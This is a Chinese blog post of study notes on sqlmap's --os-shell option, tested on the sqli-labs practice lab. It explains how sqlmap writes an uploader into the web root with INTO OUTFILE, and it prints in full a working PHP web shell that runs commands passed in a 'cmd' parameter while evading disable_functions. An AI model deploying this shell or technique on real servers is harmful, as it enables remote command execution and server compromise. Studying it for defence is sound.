[sqlmap]学习2

sqlmap --os-shell

环境还是用的sqli-labs

首先使用--os-shell时要他这里有注入点

这里我是知道这里有注入点直接加--os-shell,下面是成功截图

会让你选择语言和路径,我用的是D:\phpstudy_pro\WWW\

出现os-shell>则成功

原理:

看原理可以抓包,通过-proxy让burp抓包看

这里不抓包直接看,可以看到我们给的绝对路径下出现两个文件

 访问        tmpuhhyu.php

 就是用into outfile函数将一个可以用来上传的php文件写到网站的根目录下

然后利用tmpuhhyu.php上传了一个tmpbulmt.php的文件,tmpbezal.php这个文件可以用来执行系统命令,并且将结果返回出来

查看另一个php文件源码

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>

使用条件 

通过上述的分析,我们知道了sqlmap os-shell参数的用法以及原理。
很多的人会对os-shell的使用进行吐槽,这是得要多大的权限才能执行。是的,os-shell的执行条件有三个

(1)网站必须是root权限

(2)攻击者需要知道网站的绝对路径

(3)GPC为off,php主动转义的功能关闭

补充:

上面into outfile函数写文件的写法可以学习一下,用法:

***当使用--os-shell时,有哪些步骤?***
 

1.第一个包是用来判断网站是否能够连接上
2.如果已经判断有注入,第二个包则是尝试爆破根路径
3.尝试向我们自定义的路径写入一个文件上传的小马,尝试访问该上传的文件
4.如果已经访问得到该文件上传小马,利用该小马上传一个可以进行命令执行的小马
5.给可以进行命令执行的小马传递参数,从而命令执行 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值